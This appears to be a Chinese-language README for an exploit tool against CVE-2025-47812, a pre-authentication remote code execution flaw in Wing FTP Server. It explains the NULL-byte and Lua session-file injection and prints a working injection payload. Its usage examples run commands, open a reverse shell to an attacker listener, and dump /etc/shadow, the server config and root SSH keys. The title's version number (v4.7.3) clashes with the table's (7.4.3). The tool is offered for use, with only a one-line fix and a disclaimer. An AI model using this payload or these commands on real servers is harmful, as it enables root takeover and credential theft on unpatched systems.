
WingFTP v4.7.3 的 RCE 漏洞利用
██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗████████╗██████╗
██║ ██║██║████╗ ██║██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗
██║ █╗ ██║██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██████╔╝
██║███╗██║██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██╔═══╝
╚███╔███╔╝██║██║ ╚████║╚██████╔╝ ██║ ██║ ██║
╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝
| 字段 | 详情 |
|---|---|
| CVE | CVE-2025-47812 |
| 受影响版本 | Wing FTP Server <= 7.4.3 |
| 修复版本 | Wing FTP Server 7.4.4 |
| CVSS评分 | 10.0 (严重) |
| 认证要求 | 无 (匿名登录即足够) |
| 获得的权限 | root (Linux) / NT AUTHORITY\SYSTEM (Windows) |
| 发现者 | Julien Ahrens (@MrTuxracer) — rcesecurity.com |
Wing FTP Server的Web界面存在一个两阶段的预认证远程代码执行漏洞。
Wing FTP二进制文件中的c_CheckUser()函数内部使用了strlen(),该函数会在第一个NULL字节(\x00)处截断用户名字符串。这意味着只要anonymous(或任何有效用户)存在,像anonymous%00<任意数据>这样的用户名就能通过认证。
认证成功后,loginok.html会使用完整且未清理的POST参数(包括NULL字节后的所有内容)调用rawset(_SESSION, "username", username)。随后,会话通过SessionModule.save()序列化到磁盘上的一个Lua脚本文件中。
由于序列化函数将字符串值包装在[[...]] Lua长字符串字面量中,且没有进行任何清理,因此在用户名中注入]]会提前终止字符串字面量,从而允许将任意Lua代码附加到会话文件中。
Payload结构:
anonymous\x00]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--
末尾的--用于注释掉Wing FTP在值后追加的]]。
会话文件(以UID cookie值命名)是一个Lua脚本,当访问任何经过认证的端点时,会通过loadfile() + f()执行该脚本。发送POST /dir.html并带上UID cookie即可执行注入的Lua代码,并在<?xml内容之前将命令输出返回到响应体中。
requests, urllib3pip install -r requirements.txt
usage: CVE-2025-47812 [-h] [-U USER] [-P PASS] [--vhost HOST] [--timeout N]
[--verify-ssl]
[--cmd CMD | --shell | --revshell | --dump]
[--lhost IP] [--lport PORT] [--listen]
target
# 单条命令
python3 CVE-2025-47812.py http://ftp.target.com --cmd "id"
python3 CVE-2025-47812.py http://ftp.target.com --cmd "cat /etc/passwd"
# 通过IP指定目标 (Wing FTP使用虚拟主机路由 — 通过--vhost提供主机名)
python3 CVE-2025-47812.py http://10.10.10.10 --vhost ftp.target.com --cmd "id"
# 交互式伪shell
python3 CVE-2025-47812.py http://ftp.target.com --shell
# 反弹shell (单独启动nc监听)
python3 CVE-2025-47812.py http://ftp.target.com --revshell --lhost 10.10.14.5 --lport 4444
# 带内置监听器的反弹shell
python3 CVE-2025-47812.py http://ftp.target.com --revshell --listen --lhost 10.10.14.5 --lport 4444
# 转储敏感文件 (/etc/passwd, /etc/shadow, Wing.cfg, root SSH密钥)
python3 CVE-2025-47812.py http://ftp.target.com --dump
# 使用非匿名凭据
python3 CVE-2025-47812.py http://ftp.target.com -U ftpuser -P secret --cmd "whoami"
将Wing FTP Server升级至7.4.4或更高版本。
本工具仅供教育目的和授权的渗透测试使用。对不属于自己或未获得明确书面许可的系统运行此漏洞利用程序是非法且不道德的。作者不对任何滥用行为承担法律责任。